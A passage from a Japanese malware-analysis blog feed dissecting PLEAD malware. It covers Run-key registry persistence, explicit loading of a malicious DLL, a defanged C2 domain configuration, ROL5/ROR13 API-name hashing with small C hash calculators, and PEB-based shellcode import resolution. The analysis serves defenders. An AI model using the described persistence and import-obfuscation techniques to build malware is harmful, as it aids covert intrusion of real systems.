&lt;h2 id=&quot;persistenceの獲得&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#persistence%E3%81%AE%E7%8D%B2%E5%BE%97&quot; aria-label=&quot;persistenceの獲得 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Persistenceの獲得&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;下記の流れでRegistryを利用してPersistenceを獲得します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;RegOpenKeyExA();&lt;/code&gt;で&lt;strong&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run&lt;/strong&gt;のハンドルを取得&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;RegOpenKeyExA();&lt;/code&gt;で&lt;strong&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run&lt;/strong&gt;に、サブキー名&lt;strong&gt;MSUDPQP&lt;/strong&gt;としてデータ&lt;strong&gt;C:\Users[username]\Documents\TMP.exe&lt;/strong&gt;を書き込む&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200312_explicitly_link/persistence_by_registry.png&quot; alt=&quot;セットされたRegistryの値の図&quot; title=&quot;セットされたRegistryの値&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;h2 id=&quot;dllの明示的リンク&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#dll%E3%81%AE%E6%98%8E%E7%A4%BA%E7%9A%84%E3%83%AA%E3%83%B3%E3%82%AF&quot; aria-label=&quot;dllの明示的リンク permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;DLLの明示的リンク&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;以下の流れで悪性DLLファイルのエクスポート関数をインポートします。&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;LoadLibraryA();&lt;/code&gt;で元のマルウェアがTempフォルダにドロップした悪性DLLファイル(※)を読み込みます。&lt;/p&gt;
&lt;p&gt;※ SHA256: d837830ed88424304686e510fd6bdac7526db863aad6efb0cd53c0670dc1b1d3&lt;/p&gt;
&lt;p&gt;明示的リンク LoadLibraryA()の呼び出しによるDLLのリンク(明示的リンク)に際しては、LoadLibraryA()呼び出し時に呼び出し先のDLLMain()が実行される。&lt;/p&gt;
&lt;p&gt;その後、リンクしたDLLが呼び出し元プロセスのメモリにマップされている間に呼び出し元プロセスが新規スレッドを作成 / 終了した際には、リンクしたDLLに対してDLL_THREAD_ATTACH / DLL_THREAD_DETACHの通知が行われる。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200312_explicitly_link/dllmain_has_no_malicious_code.png&quot; alt=&quot;DllMainには悪性なコードがというない図&quot; title=&quot;DllMainには悪性なコードがというない図&quot;&gt;&lt;/p&gt;
&lt;p&gt;GetProcAddress()にて悪性DLLファイルから”abc”をインポートします。&lt;/p&gt;
&lt;p&gt;以下2つの文字列ポインタを引数にabc()の呼び出します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;“movieonline.redirectme[.]net:8080,443,1863;beersale[.]servebeer[.]com:1863,443,8080”&lt;/li&gt;
&lt;li&gt;“h112”&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200312_explicitly_link/config_c2.png&quot; alt=&quot;PLEADのC2接続先コンフィグ&quot; title=&quot;PLEADのC2接続先コンフィグ&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;以降、悪性DLLのエクスポート関数abc()上で、マルウェアの不正な振る舞いが続きます。&lt;/p&gt;
&lt;br&gt;
&lt;h2 id=&quot;rol5-hash&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#rol5-hash&quot; aria-label=&quot;rol5 hash permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;ROL5 hash&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;&lt;a href=&quot;https://binarygenes.com/blog/2020-03-10-plead/&quot;&gt;Shellcodeの解析 ROR13編&lt;/a&gt;で紹介したROR13というインポート関数を隠すテクニックがありました。それはハッシュ化された関数名からインポート関数のスタートアドレスをスタックに積んで呼び出すというものでした。&lt;/p&gt;
&lt;p&gt;ここでは、同じテクニックを13bit右にローテートするROR13ではなく、5bit左にローテートするROL5が使われていました。以下の表にROL5ハッシュを抜粋します。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ROL5&lt;/th&gt;
&lt;th&gt;関数名&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;10B3A830&lt;/td&gt;
&lt;td&gt;RtlAllocateHeap&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;51CC8EDD&lt;/td&gt;
&lt;td&gt;RtlFreeHeap&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;325E49&lt;/td&gt;
&lt;td&gt;atoi&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;br&gt;
&lt;p&gt;今回もROL5ハッシュ計算コードを置いておきますので、これが理解の助けになるかと思います。&lt;/p&gt;
&lt;div class=&quot;gatsby-code-title&quot;&gt;ROL5ハッシュ計算&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;c&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-c line-numbers&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;stdio.h&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; DWORD&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;rol5_hash&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;string&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    DWORD hash &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;string&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        DWORD val &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;DWORD&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;string&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        hash &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;hash &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;hash &lt;span class=&quot;token operator&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;27&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        hash &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; val&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;hash: %x&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; hash&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; hash&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;%x&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;rol5_hash&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;atoi&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;br&gt;</content:encoded></item><item><title><![CDATA[Shellcodeの解析_ROR13]]></title><description><![CDATA[この記事ではシェルコードの解析方法の中でも、ROR13を使って目的の関数をインポートする処理の解析方法を解説します。]]></description><link>https://binarygenes.com/posts/2020-03-10-analyzing-shellcode-with-ror13</link><guid isPermaLink="false">https://binarygenes.com/posts/2020-03-10-analyzing-shellcode-with-ror13</guid><pubDate>Tue, 10 Mar 2020 23:10:40 GMT</pubDate><content:encoded>&lt;p&gt;今回はシェルコードの解析を進めていきます。&lt;/p&gt;
&lt;p&gt;この記事の手法を使うとROR13で難読化されたインポート関数を特定することができるようになります。&lt;/p&gt;
&lt;p&gt;解析するバイナリは前の記事「&lt;a href=&quot;https://binarygenes.com/blog/2020-03-09-process-injection%E3%82%92%E8%A7%A3%E6%9E%90%E3%81%99%E3%82%8B/&quot;&gt;Process Injectionを解析する&lt;/a&gt;」でiexplore.exeにInjectionされたコードです。そちらもぜひ読んでみてください。&lt;/p&gt;
&lt;h2 id=&quot;iexploreexeにinjectionされたシェルコードの動作&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#iexploreexe%E3%81%ABinjection%E3%81%95%E3%82%8C%E3%81%9F%E3%82%B7%E3%82%A7%E3%83%AB%E3%82%B3%E3%83%BC%E3%83%89%E3%81%AE%E5%8B%95%E4%BD%9C&quot; aria-label=&quot;iexploreexeにinjectionされたシェルコードの動作 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;iexplore.exeにInjectionされたシェルコードの動作&lt;/h2&gt;
&lt;hr&gt;
&lt;h3 id=&quot;1-kernel32dllのベースアドレス取得&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#1-kernel32dll%E3%81%AE%E3%83%99%E3%83%BC%E3%82%B9%E3%82%A2%E3%83%89%E3%83%AC%E3%82%B9%E5%8F%96%E5%BE%97&quot; aria-label=&quot;1 kernel32dllのベースアドレス取得 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;1. Kernel32.dllのベースアドレス取得&lt;/h3&gt;
&lt;p&gt;まず、シェルコードの&lt;code class=&quot;language-text&quot;&gt;\x00&lt;/code&gt;から始まるアドレスを6つ&lt;code class=&quot;language-text&quot;&gt;push&lt;/code&gt;する動きをします。これは目的の値を6つ分スタックに配置するための処理です。&lt;/p&gt;
&lt;p&gt;※ &lt;code class=&quot;language-text&quot;&gt;loop&lt;/code&gt; は、&lt;code class=&quot;language-text&quot;&gt;ecx&lt;/code&gt;が0になるまで&lt;code class=&quot;language-text&quot;&gt;jmp&lt;/code&gt;を繰り返す。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200310_ror13/loop.png&quot; alt=&quot;LOOP&quot; title=&quot;LOOP&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;シェルコード上でWin32APIを呼び出すための前処理を行います。&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;loc_50B007D&lt;/code&gt;では&lt;code class=&quot;language-text&quot;&gt;fs:30h&lt;/code&gt;のProcess Environment Block (PEB)からkernell32.dllのベースイメージ (先頭アドレス)を&lt;code class=&quot;language-text&quot;&gt;ebx&lt;/code&gt;に取得する動作を行っています。&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;call&lt;/code&gt;の引数はさきほどの6つのアドレスになっています。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200310_ror13/getbaseimageofkernel32dll.png&quot; alt=&quot;Kernel32.dllのベースアドレス入手の図&quot; title=&quot;Kernel32.dllのベースアドレス入手の図&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;h3 id=&quot;2-loadlibraryaのスタートアドレス取得&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#2-loadlibrarya%E3%81%AE%E3%82%B9%E3%82%BF%E3%83%BC%E3%83%88%E3%82%A2%E3%83%89%E3%83%AC%E3%82%B9%E5%8F%96%E5%BE%97&quot; aria-label=&quot;2 loadlibraryaのスタートアドレス取得 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;2. LoadLibraryA()のスタートアドレス取得&lt;/h3&gt;
&lt;p&gt;先ほどのcallでスタックに積んだReturn-eipをすぐさま&lt;code class=&quot;language-text&quot;&gt;pop esi&lt;/code&gt;で取り出します。つまり&lt;code class=&quot;language-text&quot;&gt;esi&lt;/code&gt;には&lt;strong&gt;050B0095&lt;/strong&gt;の直後のアドレスが入ります。&lt;/p&gt;
&lt;p&gt;kernel32.dllのベースアドレスが入ったebxと、Return-eipの入った&lt;code class=&quot;language-text&quot;&gt;esi&lt;/code&gt;の指す値を引数に関数を呼び出します。ここではその関数を&lt;code class=&quot;language-text&quot;&gt;aa_ror13&lt;/code&gt;と名付けているので&lt;code class=&quot;language-text&quot;&gt;aa_ror13(ebx, [esi])&lt;/code&gt;という状態で、引数&lt;code class=&quot;language-text&quot;&gt;[esi]&lt;/code&gt;には&lt;code class=&quot;language-text&quot;&gt;4B1E5ADBh&lt;/code&gt;が入っています。これはROR13ハッシュです。&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;aa_ror13(ebx, [esi])&lt;/code&gt;は始めにlstrcmpiA()のスタートアドレスを戻り値eaxに返します。このようにROR13ハッシュ[esi]を+4ずつ進め&lt;code class=&quot;language-text&quot;&gt;aa_ror13(ebx, [esi])&lt;/code&gt;を繰り返し呼び出すことよって、[esi]が0になるまでROR13ハッシュに対応するkernel32.dll内の関数のスタートアドレスeaxをpushしてスタックに積むことを繰り返します。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200310_ror13/ror13.png&quot; alt=&quot;ROR13の呼び出し部の図&quot; title=&quot;ROR13の呼び出し部の図&quot;&gt;&lt;/p&gt;
&lt;p&gt;以下は、インポート関数を積まれたスタックの様子です。最後に取得したインポート関数のスタートアドレスは&lt;code class=&quot;language-text&quot;&gt;LoadLibraryA();&lt;/code&gt;のものです。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200310_ror13/stack_import_func.png&quot; alt=&quot;スタックの図&quot; title=&quot;スタック&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;ここで、&lt;code class=&quot;language-text&quot;&gt;aa_ror13();&lt;/code&gt;の引数&lt;code class=&quot;language-text&quot;&gt;[esi]&lt;/code&gt;はReturn-eipだったことを思い出してください。&lt;code class=&quot;language-text&quot;&gt;call&lt;/code&gt;の直後のアドレスであるReturn-eipには以下の様に&lt;code class=&quot;language-text&quot;&gt;fistp  dword ptr [edx+1Eh]&lt;/code&gt;などが続いていました。しかし、&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200310_ror13/behind_call.png&quot; alt=&quot;callの後ろの図&quot; title=&quot;callの後ろの&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;call&lt;/code&gt;の後ろからドラッグして右クリックで&lt;strong&gt;Undefined&lt;/strong&gt;し、&lt;strong&gt;d&lt;/strong&gt;キーで4バイトのdd表示にすると、実は、Return-eip以降**+4**ごとにROR13ハッシュが隠されていました。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200310_ror13/behind_call_analyzed.png&quot; alt=&quot;デバッガの表示をddに変更した図&quot; title=&quot;デバッガの表示をddに変更した&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;ちなみに、C言語でROR13ハッシュの計算を行う処理を載せておくので理解の足しにどうぞ。&lt;/p&gt;
&lt;div class=&quot;gatsby-code-title&quot;&gt;ROR13ハッシュ計算&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;c&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-c line-numbers&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;stdio.h&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; DWORD&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ror13_hash&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;string&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    DWORD hash &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;string&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        DWORD val &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;DWORD&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;string&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        hash &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;hash &lt;span class=&quot;token operator&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;hash &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;19&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        hash &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; val&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; hash&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;%x&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ror13_hash&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;LoadLibraryA&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
